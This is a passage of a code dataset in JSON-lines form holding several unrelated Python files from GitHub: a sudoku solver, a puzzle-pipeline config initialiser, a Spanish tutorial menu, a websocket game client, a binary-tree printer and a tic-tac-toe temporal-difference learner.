\"b64\": None, \"colData\": \"0,0,0;0,0,0;0,0,0;0,0,0;:0,0,0\", \"dimen\": \"0,0\", \"exif\": {}})\n\n@app.route(\"/404\", methods=[\"GET\"])\ndef _404():\n return flask.send_file(\"./static/images/404.png\")\n\n@app.route(\"/favicon.ico/\", methods=[\"GET\"])\ndef icon():\n return flask.send_file(\"favicon.ico\")\n\ndef getDBRefLoop():\n global dbref\n while True:\n time.sleep(60*5)\n dbref = db.reference().get()\n\nif __name__ == '__main__':\n threading.Thread(target=getDBRefLoop, daemon=True).start()\n app.run()\n","repo_name":"ramondeleonca/TensorShare","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"2142671388","text":"import time\n\nclass backtraking:\n\n def __init__(self, sudoku):\n self.tamano = len(sudoku)\n self.sudoku = sudoku\n\n def is_valid(self, row, col, num): #Verifica si es valido el cambio\n for i in range(self.tamano):\n if self.sudoku[row][i] == num or self.sudoku[i][col] == num:\n return False\n start_row, start_col = 3 * (row // 3), 3 * (col // 3)\n for i in range(3):\n for j in range(3):\n if self.sudoku[i + start_row][j + start_col] == num:\n return False\n return True\n\n def solve(self):\n empty = self.find_empty()\n if not empty:\n return True # Tablero resuelto\n\n row, col = empty\n\n for num in range(1, self.tamano + 1): \n if self.is_valid(row, col, num):\n self.sudoku[row][col] = num\n if self.solve(): \n return True\n self.sudoku[row][col] = 0 # Deshacer la asignación si no lleva a una solución plausible\n\n return False\n\n def find_empty(self):\n for i in range(self.tamano):\n for j in range(self.tamano):\n if self.sudoku[i][j] == 0:\n return (i, j) \n return None\n\n def print_solution(self):\n for row in self.sudoku:\n print(row)\n\nsudoku_board = [\n [0, 0, 5, 0, 0, 8, 3, 9, 0],\n [0, 3, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 7, 0, 0, 0, 8, 0],\n [0, 0, 4, 5, 0, 0, 6, 0, 2],\n [6, 1, 0, 0, 0, 0, 0, 0, 0],\n [2, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 2, 4, 0, 5],\n [0, 0, 9, 0, 8, 0, 0, 0, 0],\n [5, 6, 0, 0, 0, 0, 0, 0, 0],\n]\n\nsudoku_solver = backtraking(sudoku_board)\ntime1 = time.time()\n\nif sudoku_solver.solve():\n print(\"Solución encontrada:\")\n sudoku_solver.print_solution()\nelse:\n print(\"No hay solución.\")\nprint(time.time() - time1)","repo_name":"Seba-Quintana/sudoku","sub_path":"backtracking/sudoku_optimizado.py","file_name":"sudoku_optimizado.py","file_ext":"py","file_size_in_byte":1892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42659378755","text":"import os\nfrom os.path import join, normpath\nfrom six.moves import configparser\nimport subprocess\n\nfrom . import util\nfrom . import condor\n\ndef setup_parser(subparsers):\n p = subparsers.add('config', help='Initialize a directory as workspace')\n p.add_argument('dir', help='Workspace directory')\n # p.add_argument('cfg', help='Config file')\n p.add_argument('condor', help='HTCondor submission file template')\n\n_CONFIG_TEMPLATE = \\\n'''\n# THE RUNNING ENVIRONMENT CONFIGURATION FILE OF PUZZLE SOLVER\n#\n# Design:\n# The whole pipeline is partitoned to run on three types of nodes:\n# 1. The local node, in which:\n# a) user should have root access so a rich set of packages can be installed\n# b) the processor should have relatively high frequency for single threaded tasks\n# c) A GPU with OpenGL and EGL support is mandatory\n# d) Ideally this node should have largest amount of memory installed\n# 2. A GPU node, where the TensorFlow based training/testing is done\n# a) Must support OpenGL and EGL as well.\n# + Note: if docker is used, the nvidia/cudagl image should be used instead of nvidia/cuda.\n# The latter one does not support OpenGL.\n# 3. The HTCondor submission node, where the massive parallel executions are offloaded\n# This node should also be capable of (or allowed for) running moderate workloads.\n# GPU is NOT required on this node.\n#\n# libosr.so and pyosr.so must be compiled on all three nodes. GPU support can\n# (and should) be disabled on HTCondor node.\n#\n# Local node should be able to ssh into GPU node and HTCondor submission node.\n# Other ssh access is not necessary.\n#\n# On all three types of nodes, the ExecPath is directory that stores facade.py,\n# and the WorkspacePath is the directory that store the workspace information.\n#\n# You only need to create workspace in the local node.\n# The workspaces on the other two nodes will be deployed automatically with autorun()\n#\n# Note: each type of node only stores necessary files for its compute task,\n# in order to save harddrive space.\n[DEFAULT]\n\n[SYSTEM]\n# Host name of GPU node, SSH host alias can be used\nGPUHost = {GPUHost}\n# facade.py path on GPU node\nGPUExecPath = {GPUExecPath}\n# Workspace path on GPU node\nGPUWorkspacePath = {GPUWorkspacePath}\n\n# Host name of HTCondor submission node, SSH host alias can be used\nCondorHost = {CondorHost}\n# Extra HTCondor submission nodes, comma separated\nExtraCondorHosts =\n# facade.py path on HTCondor node\nCondorExecPath = {CondorExecPath}\n# Workspace path on NTCondor node\nCondorWorkspacePath = {CondorWorkspacePath}\n\n# How many jobs are you authroized to run in parallel on HTCondor\n# This is a hint for tasks partitioning\nCondorQuota = 150\n\nChartReslution = 2048\n\n# the email address to send the notifications\n# Note only situations that require user interactions will be notified, e.g.:\n# A job is on hold on HTCondor.\nmailto = SHOULD_NOT_BE_HERE_AND_KEEP_IT_PRIVATE\n# Sometimes we do not have access to mail locally\nmailfrom_host = SHOULD_NOT_BE_HERE_AND_KEEP_IT_PRIVATE\n\n[TrainingTrajectory]\n# RDT algorithm. This is usually the best choice among classical algorithms\nPlannerAlgorithmID = 15\n# Time limit of each instance, unit: day(s)\nCondorTimeThreshold = 0.05\n# Number of instances to run on HTCondor in order to find the solution path\nCondorInstances = 100\n\n# In this section, we use numerical method to approximate the minimal clearance\n[TrainingKeyConf]\n# Limit the number of trajectories\nTrajectoryLimit = -1\n# Number of points on each solution trajectory as candidate key configurations\nCandidateNumber = 1024\n# How many samples do we create to estimate the clearance volume in C-space\nClearanceSample = 4096\n# HTCondor task granularity, tradeoff between minimizing overhead and\n# maximizing the parallelism\n# Default as 4 to prefer parallelism\nClearanceTaskGranularity = 4\n# How many configurations we pick from candidates as key configurations.\n# This varies among the training models\nKeyConf = 1\n\n[TrainingWeightChart]\n# How many touch configuration we shall generate for each key configuration\nTouchSample = 32768\n# Hint about the task partition\n# i.e. How many samples shall we generate in each worker process\n# Note: each worker process produces its own output file\nTouchSampleGranularity = 32768\n# Minimal task size hint: mesh boolean\nMeshBoolGranularity = 1024\n# Minimal task size hint: mesh boolean\n# UVProjectGranularity = 1024\n\n[TrainingCluster]\n# Format Group# = <puzzle name>.piece1,<puzzle name>.piece2\n# Example\n# Group0 = alpha.piece1,alpha.piece2\n# Group1 = duet.piece1\n# Group2 = duet.piece2\n\n[Prediction]\nEnable = yes\n# Set the number of processes that predict the key configuration from\n# the surface distribution, auto means number of (logic) processors\nNumberOfPredictionProcesses = auto\nNumberOfRotations = 256\nSurfacePairsToSample = 1024\nMargin = 1e-6\n# Reuse trained workspace so we can separate the training workspace from testing workspace\n# May use relative path\nReuseWorkspace = {ReuseWorkspace}\nOversamplingRatio = 10\nOversamplingClearanceSample = 128\n\n\n[GeometriK]\n\nFineMeshV = 500000\nKeyPointAttempts = 32\nKeyConfigRotations = 512\n\nEnableNotchDetection = yes\n\n[RoboGeoK]\nKeyPointAttempts = 32\nEnvKeyPoints = 1024\nKeyConfigRotations = 64\n\n[Solver]\nEnableKeyConfScreening = yes\n# Number of samples in the PreDefined Sample set\n# Not used\n# PDSSize = 4194304\nPDSBloom = 3072\n# Maximum trials before cancel\n# Not used\n# Trials = 1\n\n\n# In day(s), 0.01 ~= 14 minutes, 0.02 ~= 0.5 hour\nTimeThreshold = 0.02\n\n'''\n\ndef init_config_file(args, ws, oldws=None):\n print(f'calling init_config_file')\n interactive = (not hasattr(args, 'quiet') or not args.quiet)\n try:\n condor.extract_template(open(args.condor, 'r'), open(ws.condor_template, 'w'))\n cfg = ws.configuration_file\n print(f'config file {cfg}')\n if not os.path.isfile(cfg):\n if oldws is not None:\n old_config = configparser.ConfigParser()\n old_config.read_string(_CONFIG_TEMPLATE)\n old_dic = oldws.config_as_dict\n if 'SYSTEM' not in old_dic:\n \"\"\"\n Copy DEFAULT to SYSTEM\n This handles DEFAULT -> SYSTEM section renaming\n \"\"\"\n old_dic['SYSTEM'] = { k:v for k,v in oldws.config.items(\"DEFAULT\")}\n util.update_config_with_dict(old_config, old_dic)\n rel_old_to_new = os.path.relpath(ws.dir, start=oldws.dir)\n old_reuse = old_config.get('Prediction', 'ReuseWorkspace')\n gpu_ws = normpath(join(old_config.get('SYSTEM', 'GPUWorkspacePath'), rel_old_to_new))\n if old_reuse:\n new_reuse = os.path.relpath(join(oldws.dir, old_reuse), start=gpu_ws)\n else:\n new_reuse = ''\n dic = {\n 'GPUHost': old_config.get('SYSTEM', 'GPUHost'),\n 'GPUExecPath': old_config.get('SYSTEM', 'GPUExecPath'),\n 'GPUWorkspacePath': gpu_ws,\n 'CondorHost': old_config.get('SYSTEM', 'CondorHost'),\n 'CondorExecPath': old_config.get('SYSTEM', 'CondorExecPath'),\n 'CondorWorkspacePath': normpath(join(old_config.get('SYSTEM', 'CondorWorkspacePath'), rel_old_to_new)),\n 'ReuseWorkspace': new_reuse\n }\n if hasattr(args, 'override') and args.override is not None:\n patch = dict(item.split(\"=\") for item in args.override.split(\",\"))\n dic.update(patch)\n elif not interactive:\n pwd = str(os.getcwd())\n wspath = os.path.join(pwd, ws.dir)\n dic = {\n 'GPUHost': 'localhost',\n 'GPUExecPath': pwd,\n 'GPUWorkspacePath': wspath,\n 'CondorHost': 'localhost',\n 'CondorExecPath': pwd,\n 'CondorWorkspacePath': wspath,\n 'ReuseWorkspace': os.path.join(pwd, args.trained_workspace),\n }\n else:\n dic = {\n 'GPUHost': '',\n 'GPUExecPath': '',\n 'GPUWorkspacePath': '',\n 'CondorHost': '',\n 'CondorExecPath': '',\n 'CondorWorkspacePath': '',\n 'ReuseWorkspace': args.trained_workspace,\n }\n print(f'Creating config file at {cfg}')\n print(_CONFIG_TEMPLATE.format(**dic), file=open(cfg, 'w'))\n if interactive:\n EDITOR = os.environ.get('EDITOR', 'vim')\n subprocess.run([EDITOR, cfg])\n except FileNotFoundError as e:\n print(e)\n return\n # print('''The Puzzle Workspace is Ready! Use 'runall' to run the pipeline automatically.''')\n # print('''Use -h to list commands to run each pipeline stage independently.''')\n","repo_name":"xinyazhang/PuzzleTunnelDiscovery","sub_path":"src/GP/pipeline/envconfig.py","file_name":"envconfig.py","file_ext":"py","file_size_in_byte":9153,"program_lang":"python","lang":"en","doc_type":"code","stars":72,"dataset":"github-code","pt":"21"} +{"seq_id":"19544195309","text":"from Menu import Menu\r\nimport os\r\n\r\nclass Sentencias(Menu):\r\n\r\n def __init__(self):\r\n pass\r\n\r\n def menu_sentencias(self):\r\n opcion = self.menu([\"1) Ingreso de Datos\", \"2) If - Elif - Else\", \"3) Funciones\", \"4) Operadores Logicos\", \"5) Operador Ternario\", \"6) If - In\", \"7) Salir\"], \"*\" * 18 + \" MENU SENTENCIAS \" + \"*\" * 18)\r\n os.system(\"cls\")\r\n if opcion == '1':\r\n print(\"*\" * 17 + \" INGRESO DE DATOS \" + \"*\" * 17)\r\n nombre = input(\"Ingrese su nombre: \")\r\n edad = int(input(\"Ingrese su edad: \"))\r\n sueldo = float(input(\"Ingrese su sueldo: \"))\r\n print(\"Hola, \" + nombre)\r\n edadFutura = edad + 20\r\n print(\"Tu edad es: \", edad)\r\n print(\"Tu edad (dentro de 20 años) sera: {}\".format(edadFutura))\r\n print(\"Tu sueldo es: \", sueldo)\r\n\r\n input(\"\\nPresione una tecla para continuar...\"), os.system(\"cls\"), self.menu_sentencias()\r\n\r\n elif opcion == '2':\r\n print(\"*\" * 16 + \" IF - ELIF - ELSE \" + \"*\" * 16)\r\n print(\"¿Determinar si la persona es mayor de edad?\")\r\n\r\n edad = int(input(\"Ingrese su edad: \"))\r\n\r\n if edad > 18:\r\n print(\"Eres mayor de edad.\")\r\n elif edad == 18:\r\n print(\"Tienes 18 años\")\r\n else:\r\n print(\"No eres mayor de edad.\")\r\n\r\n input(\"\\nPresione una tecla para continuar...\"), os.system(\"cls\"), self.menu_sentencias()\r\n\r\n elif opcion == '3':\r\n print(\"*\" * 21 + \" FUNCIONES \" + \"*\" * 21)\r\n def saludar():\r\n print(\"Leonardo\")\r\n print(\"Arroba\")\r\n print(\"Zancorw\")\r\n return \"Hola\"\r\n print(saludar())\r\n\r\n def evalurSueldoMinimo(sueldo):\r\n if sueldo >= 425:\r\n print(\"Cumples con el sueldo\")\r\n else:\r\n print(\"Ganas menos que el sueldo minimo\")\r\n evalurSueldoMinimo(200)\r\n\r\n input(\"\\nPresione una tecla para continuar...\"), os.system(\"cls\"), self.menu_sentencias()\r\n\r\n elif opcion == '4':\r\n print(\"*\" * 18 + \" OPERADOR LOGICO \" + \"*\" * 17)\r\n distancia = 400\r\n nomeroHermanos = 3\r\n sueldoPadres = 3000\r\n tieneBeneficio = False\r\n\r\n if (distancia > 1000 and nomeroHermanos > 2) or sueldoPadres < 2000:\r\n tieneBeneficio = True\r\n print(not tieneBeneficio)\r\n\r\n if (7 > 4) and (6 < 12):\r\n print(\"Verdad\")\r\n else:\r\n print(\"Es mentira...\")\r\n\r\n input(\"\\nPresione una tecla para continuar...\"), os.system(\"cls\"), self.menu_sentencias()\r\n\r\n elif opcion == '5':\r\n print(\"*\" * 17 + \" OPERADOR TERNARIO \" + \"*\" * 17)\r\n \"\"\"\r\n String sexo;\r\n sexo = (10 > 20) ? \"Masculino\" : \"Femenino\"\r\n \"\"\"\r\n sexos = (\"Hombre\", \"Mujer\")\r\n posicion = True\r\n\r\n sexo = sexos[posicion] #Mujer\r\n print(sexo)\r\n\r\n sexo = sexos[not posicion] #Hombre\r\n print(sexo)\r\n\r\n input(\"\\nPresione una tecla para continuar...\"), os.system(\"cls\"), self.menu_sentencias()\r\n\r\n elif opcion == '6':\r\n print(\"*\" * 22 + \" IF - IN \" + \"*\" * 22)\r\n print(\"-- Cursos --\")\r\n print(\"Matematicas - Biologia - Lenguaje- Ciencias\")\r\n curso = input(\"Ingrese el curso deseado: \")\r\n if curso in (\"Matematicas\", \"Biologia\", \"Lenguaje\", \"Ciencias\"):\r\n print(\"Curso {} seleccionado\".format(curso))\r\n else:\r\n print(\"No existe curso...\")\r\n\r\n input(\"\\nPresione una tecla para continuar...\"), os.system(\"cls\"), self.menu_sentencias()\r\n\r\n elif opcion == '7':\r\n pass\r\n\r\n\r\n\r\n\r\n","repo_name":"LeonardoArroba/S9---Tarea-N-2","sub_path":"Curso/sentencias.py","file_name":"sentencias.py","file_ext":"py","file_size_in_byte":3905,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43650832141","text":"from ursina import *\r\nimport websocket, json\r\nfrom objects import Player, Bug\r\nfrom sys import exit\r\n\r\nws = websocket.WebSocketApp(\"wss://ws.korrumzthegame.wtf\")\r\n\r\nplayers = []\r\nbugs = []\r\n\r\ndef run_multiplayer(player_me, leaderboard, discord_rpc):\r\n global players, bugs\r\n\r\n def on_open(ws):\r\n data = {\r\n \"event\": \"new player\",\r\n \"data\": {\r\n \"username\": player_me.username,\r\n \"x\": player_me.x,\r\n \"y\": player_me.y,\r\n \"canvasWidth\": 5000,\r\n \"canvasHeight\": 5000,\r\n \"imageNumber\": player_me.image_number\r\n }\r\n }\r\n\r\n data = json.dumps(data)\r\n ws.send(data)\r\n\r\n def on_message(ws, msg):\r\n msg = json.loads(msg)\r\n data = msg[\"data\"]\r\n p = None\r\n\r\n for player in players + [player_me]:\r\n if \"username\" in data and player.username == data[\"username\"]:\r\n p = player\r\n\r\n if msg[\"event\"] == \"new player\":\r\n players.append(Player(data[\"username\"], data[\"x\"], data[\"y\"], data[\"pullRequests\"], data[\"imageNumber\"]))\r\n discord_rpc.update()\r\n\r\n elif msg[\"event\"] == \"new username\":\r\n player_me.username = data[\"username\"]\r\n discord_rpc.update()\r\n\r\n elif msg[\"event\"] == \"new image\":\r\n player_me.image_number = data[\"imageNumber\"]\r\n discord_rpc.update()\r\n\r\n elif msg[\"event\"] == \"move\":\r\n p.position = (data[\"x\"], 5, data[\"y\"])\r\n if not p == player_me:\r\n p.username_object.position = (data[\"x\"], 10, data[\"y\"])\r\n\r\n elif msg[\"event\"] == \"new bug\":\r\n bugs.append(Bug(data[\"x\"], data[\"y\"], data[\"imageNumber\"]))\r\n\r\n elif msg[\"event\"] == \"pull request\":\r\n b = None\r\n\r\n for bug in bugs:\r\n if (bug.position, bug.image_number) == (Vec3(data[\"bug\"][\"x\"], 2, data[\"bug\"][\"y\"]), data[\"bug\"][\"imageNumber\"]):\r\n b = bug\r\n \r\n bugs.remove(b)\r\n destroy(b)\r\n p.pull_requests = data[\"pullRequests\"]\r\n\r\n discord_rpc.update()\r\n\r\n elif msg[\"event\"] == \"new gban\":\r\n if data[\"username\"] == player_me.username:\r\n ws.close()\r\n player_me.running = False\r\n discord_rpc.running = False\r\n\r\n elif msg[\"event\"] == \"player disconnected\":\r\n players.remove(p)\r\n destroy(p.username_object)\r\n destroy(p)\r\n\r\n discord_rpc.update()\r\n\r\n leaderboard.text = \"<scale:1.2>Pull requesty:<scale:1>\\n\\n\" + \"\\n\".join([f\"{player.username if not player == player_me else player.username + ' (ty)'} {player.pull_requests}\" for player in sorted(players + [player_me], reverse=True, key=lambda player: player.pull_requests)])\r\n leaderboard.create_background()\r\n\r\n ws.on_open = on_open\r\n ws.on_message = on_message\r\n ws.run_forever()\r\n","repo_name":"PoligonTeam/korrumzthegame3d","sub_path":"korrumz the game 3d/multiplayer.py","file_name":"multiplayer.py","file_ext":"py","file_size_in_byte":2986,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43023897970","text":"from sys import stdin, setrecursionlimit\nimport queue\n\nsetrecursionlimit(10 ** 6)\n\n\n#Following is the structure used to represent the Binary Tree Node\nclass BinaryTreeNode:\n def __init__(self, data):\n self.data = data\n self.left = None\n self.right = None\n\n\ndef printLevelWise(root):\n # Your code goes here\n q=queue.Queue()\n q.put(root)\n while q.empty() is False:\n currNode=q.get()\n if currNode.left is None and currNode.right is None:\n print(currNode.data,':','L',':','-1',',','R',':','-1',sep='')\n elif currNode.left is None:\n print(currNode.data,':','L',':','-1',',','R',':',currNode.right.data,sep='')\n q.put(currNode.right)\n elif currNode.right is None:\n print(currNode.data,':','L',':',currNode.left.data,',','R',':','-1',sep='')\n q.put(currNode.left)\n else:\n print(currNode.data,':','L',':',currNode.left.data,',','R',':',currNode.right.data,sep='')\n q.put(currNode.left)\n q.put(currNode.right)\n \n\n\n#Taking level-order input using fast I/O method\ndef takeInput():\n levelOrder = list(map(int, stdin.readline().strip().split(\" \")))\n start = 0\n \n length = len(levelOrder)\n\n if length == 1 :\n return None\n \n root = BinaryTreeNode(levelOrder[start])\n start += 1\n\n q = queue.Queue()\n q.put(root)\n\n while not q.empty():\n currentNode = q.get()\n\n leftChild = levelOrder[start]\n start += 1\n\n if leftChild != -1:\n leftNode = BinaryTreeNode(leftChild)\n currentNode.left =leftNode\n q.put(leftNode)\n\n rightChild = levelOrder[start]\n start += 1\n\n if rightChild != -1:\n rightNode = BinaryTreeNode(rightChild)\n currentNode.right =rightNode\n q.put(rightNode)\n\n return root\n\n\n# Main\nroot = takeInput()\nprintLevelWise(root)\n","repo_name":"ss4621-dev/Coding-Ninjas---Data-Structures-and-Algorithms-in-Python","sub_path":"Binary Trees - 2/Print Levelwise.py","file_name":"Print Levelwise.py","file_ext":"py","file_size_in_byte":1938,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"42743513887","text":"#!/usr/bin/env python\nimport os\nimport sys\nimport random\nimport time\nimport logging\nimport json\nfrom collections import defaultdict\nfrom itertools import product\nfrom multiprocessing import Pool\nfrom tempfile import NamedTemporaryFile\n\nimport pandas as pd\nimport click\nfrom tqdm import tqdm as _tqdm\ntqdm = _tqdm\n\nfrom gym_tictactoe.env import TicTacToeEnv, set_log_level_by, agent_by_mark,\\\n next_mark, check_game_status, after_action_state, O_REWARD, X_REWARD\nfrom human_agent import HumanAgent\nfrom base_agent import BaseAgent\n\n\nDEFAULT_VALUE = 0\nEPISODE_CNT = 17000\nBENCH_EPISODE_CNT = 3000\nMODEL_FILE = 'best_td_agent.dat'\nEPSILON = 0.08\nALPHA = 0.4\nCWD = os.path.dirname(os.path.abspath(__file__))\n\n\nst_values = {}\nst_visits = defaultdict(lambda: 0)\n\n\ndef reset_state_values():\n global st_values, st_visits\n st_values = {}\n st_visits = defaultdict(lambda: 0)\n\n\ndef set_state_value(state, value):\n st_visits[state] += 1\n st_values[state] = value\n\n\ndef best_val_indices(values, fn):\n best = fn(values)\n return [i for i, v in enumerate(values) if v == best]\n\n\nclass TDAgent(object):\n def __init__(self, mark, epsilon, alpha):\n self.mark = mark\n self.alpha = alpha\n self.epsilon = epsilon\n self.episode_rate = 1.0\n\n def act(self, state, ava_actions):\n return self.egreedy_policy(state, ava_actions)\n\n def egreedy_policy(self, state, ava_actions):\n \"\"\"Returns action by Epsilon greedy policy.\n\n Return random action with epsilon probability or best action.\n\n Args:\n state (tuple): Board status + mark\n ava_actions (list): Available actions\n\n Returns:\n int: Selected action.\n \"\"\"\n logging.debug(\"egreedy_policy for '{}'\".format(self.mark))\n e = random.random()\n if e < self.epsilon * self.episode_rate:\n logging.debug(\"Explore with eps {}\".format(self.epsilon))\n action = self.random_action(ava_actions)\n else:\n logging.debug(\"Exploit with eps {}\".format(self.epsilon))\n action = self.greedy_action(state, ava_actions)\n return action\n\n def random_action(self, ava_actions):\n return random.choice(ava_actions)\n\n def greedy_action(self, state, ava_actions):\n \"\"\"Return best action by current state value.\n\n Evaluate each action, select best one. Tie-breaking is random.\n\n Args:\n state (tuple): Board status + mark\n ava_actions (list): Available actions\n\n Returns:\n int: Selected action\n \"\"\"\n assert len(ava_actions) > 0\n\n ava_values = []\n for action in ava_actions:\n nstate = after_action_state(state, action)\n nval = self.ask_value(nstate)\n ava_values.append(nval)\n vcnt = st_visits[nstate]\n logging.debug(\" nstate {} val {:0.2f} visits {}\".\n format(nstate, nval, vcnt))\n\n # select most right action for 'O' or 'X'\n if self.mark == 'O':\n indices = best_val_indices(ava_values, max)\n else:\n indices = best_val_indices(ava_values, min)\n\n # tie breaking by random choice\n aidx = random.choice(indices)\n logging.debug(\"greedy_action mark {} ava_values {} indices {} aidx {}\".\n format(self.mark, ava_values, indices, aidx))\n\n action = ava_actions[aidx]\n\n return action\n\n def ask_value(self, state):\n \"\"\"Returns value of given state.\n\n If state is not exists, set it as default value.\n\n Args:\n state (tuple): State.\n\n Returns:\n float: Value of a state.\n \"\"\"\n if state not in st_values:\n logging.debug(\"ask_value - new state {}\".format(state))\n gstatus = check_game_status(state[0])\n val = DEFAULT_VALUE\n # win\n if gstatus > 0:\n val = O_REWARD if self.mark == 'O' else X_REWARD\n set_state_value(state, val)\n return st_values[state]\n\n def backup(self, state, nstate, reward):\n \"\"\"Backup value by difference and step size.\n\n Execute an action then backup Q by best value of next state.\n\n Args:\n state (tuple): Current state\n nstate (tuple): Next state\n reward (int): Immediate reward from action\n \"\"\"\n logging.debug(\"backup state {} nstate {} reward {}\".\n format(state, nstate, reward))\n\n val = self.ask_value(state)\n nval = self.ask_value(nstate)\n diff = nval - val\n val2 = val + self.alpha * diff\n\n logging.debug(\" value from {:0.2f} to {:0.2f}\".format(val, val2))\n set_state_value(state, val2)\n\n\n@click.group()\n@click.option('-v', '--verbose', count=True, help=\"Increase verbosity.\")\n@click.pass_context\ndef cli(ctx, verbose):\n global tqdm\n\n set_log_level_by(verbose)\n if verbose > 0:\n tqdm = lambda x: x # NOQA\n\n\n@cli.command(help=\"Learn and save the model.\")\n@click.option('-p', '--episode', \"max_episode\", default=EPISODE_CNT,\n show_default=True, help=\"Episode count.\")\n@click.option('-e', '--epsilon', \"epsilon\", default=EPSILON,\n show_default=True, help=\"Exploring factor.\")\n@click.option('-a', '--alpha', \"alpha\", default=ALPHA,\n show_default=True, help=\"Step size.\")\n@click.option('-f', '--save-file', default=MODEL_FILE, show_default=True,\n help=\"Save model data as file name.\")\ndef learn(max_episode, epsilon, alpha, save_file):\n _learn(max_episode, epsilon, alpha, save_file)\n\n\ndef _learn(max_episode, epsilon, alpha, save_file):\n \"\"\"Learn by episodes.\n\n Make two TD agent, and repeat self play for given episode count.\n Update state values as reward coming from the environment.\n\n Args:\n max_episode (int): Episode count.\n epsilon (float): Probability of exploration.\n alpha (float): Step size.\n save_file: File name to save result.\n \"\"\"\n reset_state_values()\n\n env = TicTacToeEnv()\n agents = [TDAgent('O', epsilon, alpha),\n TDAgent('X', epsilon, alpha)]\n\n start_mark = 'O'\n for i in tqdm(range(max_episode)):\n episode = i + 1\n env.show_episode(False, episode)\n\n # reset agent for new episode\n for agent in agents:\n agent.episode_rate = episode / float(max_episode)\n\n env.set_start_mark(start_mark)\n state = env.reset()\n _, mark = state\n done = False\n while not done:\n agent = agent_by_mark(agents, mark)\n ava_actions = env.available_actions()\n env.show_turn(False, mark)\n action = agent.act(state, ava_actions)\n\n # update (no rendering)\n nstate, reward, done, info = env.step(action)\n agent.backup(state, nstate, reward)\n\n if done:\n env.show_result(False, mark, reward)\n # set terminal state value\n set_state_value(state, reward)\n\n _, mark = state = nstate\n\n # rotate start\n start_mark = next_mark(start_mark)\n\n # save states\n save_model(save_file, max_episode, epsilon, alpha)\n\n\ndef save_model(save_file, max_episode, epsilon, alpha):\n with open(save_file, 'wt') as f:\n # write model info\n info = dict(type=\"td\", max_episode=max_episode, epsilon=epsilon,\n alpha=alpha)\n # write state values\n f.write('{}\\n'.format(json.dumps(info)))\n for state, value in st_values.items():\n vcnt = st_visits[state]\n f.write('{}\\t{:0.3f}\\t{}\\n'.format(state, value, vcnt))\n\n\ndef load_model(filename):\n with open(filename, 'rb') as f:\n # read model info\n info = json.loads(f.readline().decode('ascii'))\n for line in f:\n elms = line.decode('ascii').split('\\t')\n state = eval(elms[0])\n val = eval(elms[1])\n vcnt = eval(elms[2])\n st_values[state] = val\n st_visits[state] = vcnt\n return info\n\n\n@cli.command(help=\"Play with human.\")\n@click.option('-f', '--load-file', default=MODEL_FILE, show_default=True,\n help=\"Load file name.\")\n@click.option('-n', '--show-number', is_flag=True, default=False,\n show_default=True, help=\"Show location number when play.\")\ndef play(load_file, show_number):\n _play(load_file, HumanAgent('O'), show_number)\n\n\ndef _play(load_file, vs_agent, show_number):\n \"\"\"Play with learned model.\n\n Make TD agent and adversarial agnet to play with.\n Play and switch starting mark when the game finished.\n TD agent behave no exploring action while in play mode.\n\n Args:\n load_file (str):\n vs_agent (object): Enemy agent of TD agent.\n show_number (bool): Whether show grid number for visual hint.\n \"\"\"\n load_model(load_file)\n env = TicTacToeEnv(show_number=show_number)\n td_agent = TDAgent('X', 0, 0) # prevent exploring\n start_mark = 'O'\n agents = [vs_agent, td_agent]\n\n while True:\n # start agent rotation\n env.set_start_mark(start_mark)\n state = env.reset()\n _, mark = state\n done = False\n\n # show start board for human agent\n if mark == 'O':\n env.render(mode='human')\n\n while not done:\n agent = agent_by_mark(agents, mark)\n human = isinstance(agent, HumanAgent)\n\n env.show_turn(True, mark)\n ava_actions = env.available_actions()\n if human:\n action = agent.act(ava_actions)\n if action is None:\n sys.exit()\n else:\n action = agent.act(state, ava_actions)\n\n state, reward, done, info = env.step(action)\n\n env.render(mode='human')\n if done:\n env.show_result(True, mark, reward)\n break\n else:\n _, mark = state\n\n # rotation start\n start_mark = next_mark(start_mark)\n\n\n@cli.command(help=\"Learn and benchmark.\")\n@click.option('-p', '--learn-episode', \"max_episode\", default=EPISODE_CNT,\n show_default=True, help=\"Learn episode count.\")\n@click.option('-b', '--bench-episode', \"max_bench_episode\",\n default=BENCH_EPISODE_CNT, show_default=True, help=\"Bench \"\n \"episode count.\")\n@click.option('-e', '--epsilon', \"epsilon\", default=EPSILON,\n show_default=True, help=\"Exploring factor.\")\n@click.option('-a', '--alpha', \"alpha\", default=ALPHA,\n show_default=True, help=\"Step size.\")\n@click.option('-f', '--model-file', default=MODEL_FILE, show_default=True,\n help=\"Model data file name.\")\ndef learnbench(max_episode, max_bench_episode, epsilon, alpha, model_file):\n _learnbench(max_episode, max_bench_episode, epsilon, alpha, model_file)\n\n\ndef _learnbench(max_episode, max_bench_episode, epsilon, alpha, model_file,\n show=True):\n if show:\n print(\"Learning...\")\n _learn(max_episode, epsilon, alpha, model_file)\n if show:\n print(\"Benchmarking...\")\n return _bench(max_bench_episode, model_file, show)\n\n\n@cli.command(help=\"Benchmark agent with base agent.\")\n@click.option('-p', '--episode', \"max_episode\", default=BENCH_EPISODE_CNT,\n show_default=True, help=\"Episode count.\")\n@click.option('-f', '--model-file', default=MODEL_FILE, show_default=True,\n help=\"Model data file name.\")\ndef bench(model_file, max_episode):\n _bench(max_episode, model_file)\n\n\ndef _bench(max_episode, model_file, show_result=True):\n \"\"\"Benchmark given model.\n\n Args:\n max_episode (int): Episode count to benchmark.\n model_file (str): Learned model file name to benchmark.\n show_result (bool): Output result to stdout.\n\n Returns:\n (dict): Benchmark result.\n \"\"\"\n minfo = load_model(model_file)\n agents = [BaseAgent('O'), TDAgent('X', 0, 0)]\n show = False\n\n start_mark = 'O'\n env = TicTacToeEnv()\n env.set_start_mark(start_mark)\n\n episode = 0\n results = []\n for i in tqdm(range(max_episode)):\n env.set_start_mark(start_mark)\n state = env.reset()\n _, mark = state\n done = False\n while not done:\n agent = agent_by_mark(agents, mark)\n ava_actions = env.available_actions()\n action = agent.act(state, ava_actions)\n state, reward, done, 